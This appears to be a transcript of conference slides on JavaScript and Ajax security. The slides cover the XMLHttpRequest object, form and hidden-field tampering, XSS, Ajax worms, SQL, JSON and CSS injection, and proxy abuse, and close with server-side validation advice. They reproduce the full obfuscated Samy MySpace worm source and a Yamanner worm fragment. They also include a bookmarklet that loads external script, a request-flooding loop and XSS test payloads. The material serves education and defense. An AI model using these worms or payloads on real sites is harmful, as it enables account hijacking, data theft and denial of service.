Pascarello_Investigating JavaScript and Ajax Security

Investigating JavaScript and Ajax Security Presented By: Eric Pascarello

Background on Eric Pascarello
Author of:
Ajax In Action [Manning]
JavaScript: Your visual blueprint for building dynamic Web pages (2 nd ed) [Wiley]
HTML and JavaScript Moderator at JavaRanch.com since 2001
Developer at Market10.com
Perform talks on Ajax around the world.

What we are going to investigate
Ajax Model
Classic Postback Model
Form Hacks
XSS - JavaScript Injection
Ajax Worms
Other Injections

One thing everyone must do: Use Common Sense!

What is Ajax exactly?

Quick Intro to Ajax
Ajax is Asynchronous JavaScript and XML
Coined by Jesse James Garrett of Adaptive Path
Not a language!
Uses JavaScript on the client and any Language on the Server

Ajax Security Makes a lot of news because of:
Inexperienced developers working with technologies they do not understand!
PHP + FREE SERVERS + MySQL + AJAX = BIG SECURITY HOLES
JavaScript:
The Cutting Edge Technology of Ctrl-C and Ctrl-V
Tutorials, Articles, and Books skipping the security aspect.
Tons of High Profile Websites using it!

Adaptive Path’s Original Diagram

The Real Life Diagram Of Ajax How to explain Ajax to your non-geek friends
THE COLLEGE PARTY

The Bleak Situation

The Non-Ajax Solution
Figure out what is more important and rank order of operation.
Should I clean the mess, get food, or update the outdated music collection?
Perform one task and do the others after each other. Hopefully I have enough time!
Go to Store, Download Music, Clean Apartment so it can be trashed again.

The Ajax Solution
Do multiple things at once!
Hire a maid to do the cleaning!
Order delivery pizza!
And I can download new music while others do the dirty work! Ajax Clean!

The “Ajax Engine”
The XMLHttpRequest Object
Allows us to send information server without post backs
Makes the request and receives the data back
Can be asynchronous or synchronous
Same Domain Policy
Can not make requests to other domains

The XHR Object
The Gecko / Safari / IE7 Object Constructor
req = new XMLHttpRequest();
The ActiveX for IE 5 to IE 6
req = new ActiveXObject("Microsoft.XMLHTTP");
OR
req = new ActiveXObject("Msxml2.XMLHTTP");

XHR Object Methods Assigns header to be sent with a request setRequestHeader("label", "value") Transmits the request send(content) The heart and soul! Sets destination URL, method, and other optional attributes open("method", "URL"[, asyncFlag[, "userName"[, "password"]]]) Returns value of a specified header label getResponseHeader("headerLabel") Returns all header (labels/value) sets getAllResponseHeaders() Stops the current request abort() Description Method

XHR open()
open("method", "URL", asyncFlag); method = GET or POST
URL = Page to request
asyncFlag = True or False

send(parameters)
Send is like clicking the submit button on a form.
The parameters should be set to null or empty string if you are not posting any information.
If you are posting, the name/value pairs should look like a querystring without the question mark.
req.send("foo=bar&ajax=123");
If you are using GET, append the values to the URL in the open method.
Remember GET has a size limitation.
If you want to send information, you have to add it manually.
No free ride like a form!

XHR Object Properties String message accompanying the status code statusText Numeric code returned by server, such as 404 for "Not Found" or 200 for "OK" status DOM-compatible document object of data returned from server process responseXML String version of data returned from server process responseText Object status integer readyState Event handler for an event that fires at every state change onreadystatechange Description Property

onreadystatechange
The objects only event handler.
It is fired only when in asynchronous mode
3 rd parameter is set to true in the open method
It is fired a total of 4 times.
We can assign a reference to a function or build a anonymous function to it
req.onreadystatechange = functionName;
req.onreadystatechange = function(){ //statements }

readyState values
0 - Uninitialized
The initial value when new reference to Object is created
1 - Open
The open() method has been successfully called.
2 - Sent
The request made it, but no data has yet been received.
3 - Receiving
All HTTP headers have been received.
Value set right before receiving the message body
4 - Loaded
The data transfer has been completed.
We can now play with the data!

status
We are looking for a value of 200
If you are working on the file protocol
(eg: local disk not on a web server) than you are looking for a value of 0 [zero]).
Yes the XMLHttpRequest object can be run off of the Active Desktop.
Can be read when readyState = 4

Basic Example of code
var req = GetXHRObject();
req.open("POST", "secure.aspx", true);
req.onreadystatechange = finishRequest;
BasicExample1.html

I CAN VIEW THE SOURCE
I can see the page that it is requesting from the JavaScript code!
I can see the parameters being sent!
I can see the validation!
I can see the Business Logic!
I can rule the world!

Before We Surrender to Fear
Let us look at the classic postback
and Ajax models in detail

What is Different?
Ajax POST
var req = GetXHRObject();
req.open("POST", "secure.php", true);
req.onreadystatechange = finishRequest;
Regular Form POST
<form action="secure.php" method="POST">
<input type="text" name="foo" value="bar">
<input type="hidden" name="ajax" value="123">
<input type="submit" name="sub1">
</form>

A Web 2.0 Web Site

Major Cause Of Security Concerns
Ajax model uses WebServices
Legacy or New
Return HTML/TEXT/JSON/XML/ETC
More Ajax Functionality = More WebServices = More places to attack
Just need to forget one thing to make a new hole
Yes you can use the XMLHttpRequest Object to make requests without the users knowledge.
We can also use images, iframes, frames, popup windows.

Major Cause Of Security Concerns
Business Logic
Building Proxy Services to talk to outside domains
Displaying User Content
Tags, forums, blogs, comments, etc

Grandma is a Hacker
Everyone is giving you bad data.
Everyone is trying to hack you
Everyone wants to cause a DOS attack on your server!
VALIDATE ON THE SERVER!

Business Logic Security
JavaScript is basically open source.
Use JavaScript as the rendering Engine
Validate the info on the server!
Use ClientSide validation as a mechanism to save user time and bandwidth
JavaScript Obfuscation is easily reversed! Don’t waste your money!

The First Get Some Common Sense Award Goes To:
A tutorial on Ajax to display data into a textarea
function getOnlineClass()
{
var url = 'http://localhost/MyOnlineClass?sql=SELECT* from LOP FOR XML AUTO &root=DSLOP';
http.open("GET", url, true);
http.onreadystatechange = useHttpResponse;
http.send(null);
}
I wish I would have made this up!

So You Think Your Form Is Safe?
Example
Address bar is our friend for reckoning havoc!
javascript:yourStatements;void(0);
Add an external JavaScript file!
javascript:var a=document.createElement("script");a.src="http://url/foo.js";document.body.appendChild(a);void(0);

Hidden Fields Are Editable?
The Bookmarklet and the Example
Bookmarklets makes it easy to execute code instead of manually adding it to the address bar.
What is a bookmarklet?
JavaScript statement(s) stored in a favorites link!
How can I do this? Create a link on a webpage, save the page, open it, right click on the link, add to favorites.
<a href="javascript:alert(new Date());void(0);">Show Time</a>

Who Needs ServerSide Validation When We Have ClientSide Checks?
Example
Why waste time disabling JavaScript when we can just override the annoying function!
Set event handlers, functions, variables from status bar!

Simple Scripted Attacks On A Server
var req = new Array();
for(var i = 0; i<1000; i++){
req[i] = GetXHRObject();
req[i].open("POST", "secure.aspx", true);
req[i].onreadystatechange = function(){};
req[i].send("foo=" + i);
}

Is This A Vulnerability? YES or NO

What is your browser telling others about you?
The advertisers dream, the health insurance companies dream, your snooping boss’s dream JavaScript.
The links are telling us where we have been!
Example : Is it a vulnerability or a feature?

So with some JavaScript we can test where you been
Targeted Advertising for geeks, gamers, pet owners, sports fans, porn lovers, etc.
Medical Privacy: Look to see if you been on Cancer Sites, looking at sites on Heart conditions, etc.
Your Company can check to see if you are doing online shopping without installing loggers!
Scan for Google Searches
Only Problem: caps matter!
http://www.google.com/search?q=Eric+Pascarello
http://www.google.com/search?q=eric+pascarello

Let Us Now Look AT XSS
Cross Site Scripting (XSS) allows for malicious people to inject HTML, JavaScript, PHP, PERL, CSS, etc. into a Web page.
Gets around same domain policy
Allow injection of browser vulnerability code
Allows for people to steal information
Can create real annoying for-loop alert attacks!

The Second Get Some Common Sense Award Goes To:
Ask.com
They allow you to save your preference settings on their site with a form. Problem is it is a GET!
http://www.ask.com/webprefs?addr1=&addr2=& qsrc =106&pu=100&padlt=1&pcn= FR&psave = Save+my+settings
The link will change the settings on their site to show 100 results, change the adult filter, country, etc.
Don’t update settings with GET
Set a hidden iFrame/image with this URL and you can change everyone’s settings that come to your web site.
The Google Toolbar used to has this same problem when it was first implemented!

Biggest Offenders in XSS
Web Pages that use
Search Pages
Guestbooks
RSS Readers
Blog Comments
Web based chat/games
Error Pages
Anywhere user can insert data and it is redisplayed back without removing the escaping the user’s input!
Example Time with a Popular Website’s Search! (link not included!)

Test For JavaScript Injection
Step 1: type in <script>alert("hi");</script> into any field on a page.
Step 2: Submit the page
Step 3: If you see the alert, you got success! If no alert continue
Step 4: View Source of Page and look for the code you added
Step 5: See if they are escaping everything correctly.
Step 6: Try the injections on the next slide

Cross Site Scripting Cheat Sheet Esp: for filter evasion
http://ha.ckers.org/xss.html
Website has a long list of ways to get past filters.
Spend some time and go through the list!

Combine Visited Links with XSS
So lets say we have a list of XSS hacks we know about. Lets say Bank MoneyBags has a XSS hole.
A surfer checks their balance at BankMoneyBags.com and did not sign out. He just surfed away.
The Surfer Went to site where this visited links code was.
Positive match was found for the Bank link, XSS link is fired into iFrame / pop-up window / image.
And the money is now in a Swiss Account!

What can be done?
Add key listeners and send data to outside servers.
Change user names, passwords, preferences
Sniff out and steal sensitive data
Annoy users with infinite alert loops!
Send email
Add posts to forms
How much damage can Ajax plus XSS? We are talking about JavaScript!

Real Life JavaScript Injections with Ajax!
Samy [ http:// en.wikipedia.org/wiki/Samy_(XSS ) ]
MySpace.com
Ajax based worm that added user to friend’s list
October 4, 2005
20 Hours
Over 1 million users had been effected
Flaw was based on CSS background image

The code of Samy
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Samy Injection Highlight
<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34
This injection is listed on http://ha.ckers.org/xss.html (Scroll past the halfway point on the page to see it!)

Yahoo gets attacked!
Yamanner [ http:// en.wikipedia.org/wiki/Yamanner ]
Yahoo! Mail worm
June 12, 2006
Sent users address book to remote server
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false;
Have link to full code on my blog: http://radio.javaranch.com/pascarello/2006/06/13/1150210232222.html

JavaScript Port Scanning?
JavaScript Port Scanning can be done!
http:// www.spidynamics.com/assets/documents/JSportscan.pdf
General Summary From White Paper
Code gets injected into intranet web page
Every Server Installation has default images
JavaScript scans IP ranges for defaults
If image has width/height, we know the server type, and IP address.
Post data back to outside server

JSON Injection
JavaScript Object Notation (normally preferred over XML format)
Can bypass the Cross Site Scripting Restrictions
http://www.pascarello.com/examples/JsonYahooExample.html
Problem with this: Code is eval()/injected onto page to make it usable for JavaScript.
Have to trust your source they do not embed other code!
Preferred method is to loop through the data.
Check out JSON.org for more information!

Other Injections
SQL Injection
Quick test in an URL insert ' to the querystring and see if you get an error message! …com?ID=314'159
CSS Injection
Change the cached CSS file on the local machine! Screw with your friends that Digg is now pink! Hide the log in fields, move elements around!
XML/SOAP
Page can be loaded with bad data or data can be sent with bad data to the server!
DOM Injection
Additional elements can be added, removed, changed, etc.
Cookies
Delete, Add, Change, and see what happens to the sessions!

Same Domain Policy Workaround: Proxy!

What is bad about this?
Inject JavaScript code onto page.
Free data mining service with unlimited access!
Most proxy services have limited access unless you have good relations!
DOS service attacks
Remember that Ajax For Loop making requests!
DOS the site, proxy thinks that the server is attacking them.
Rest of users on site lose the functionality

Other Tools
Firefox Extensions
Firebug – view the XMLHttpRequests
Selenium – Record scripts and replay them!
JSView – See All JavaScript/CSS with a click
Modify Headers – (what the name implies!)
NoScript – Turn off or limit scripts
Fiddler and other Proxys– Watch all traffic

Quick Summary
Ajax Adds more attack vectors
Do what you always done on the server!
Keep the business logic on the server
Validate on the server
White List / Blacklist
Check/Remove Injections
Remember that Proxys can be abused!
Use Common Sense

Questions
Email: [email_address]
Blog: http:// radio.javaranch.com/pascarello
Forums: http://saloon.JavaRanch.com
Ajax In Action: http://www.manning.com/crane
Need a Job? http://www.market10.com

http://www.secguru.com	6
http://www.slideshare.net	5
http://joseanpg.net	2
http://www.techgig.com	2
http://s3.amazonaws.com	1

Pascarello_Investigating JavaScript and Ajax Security

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Pascarello_Investigating JavaScript and Ajax Security — Presentation Transcript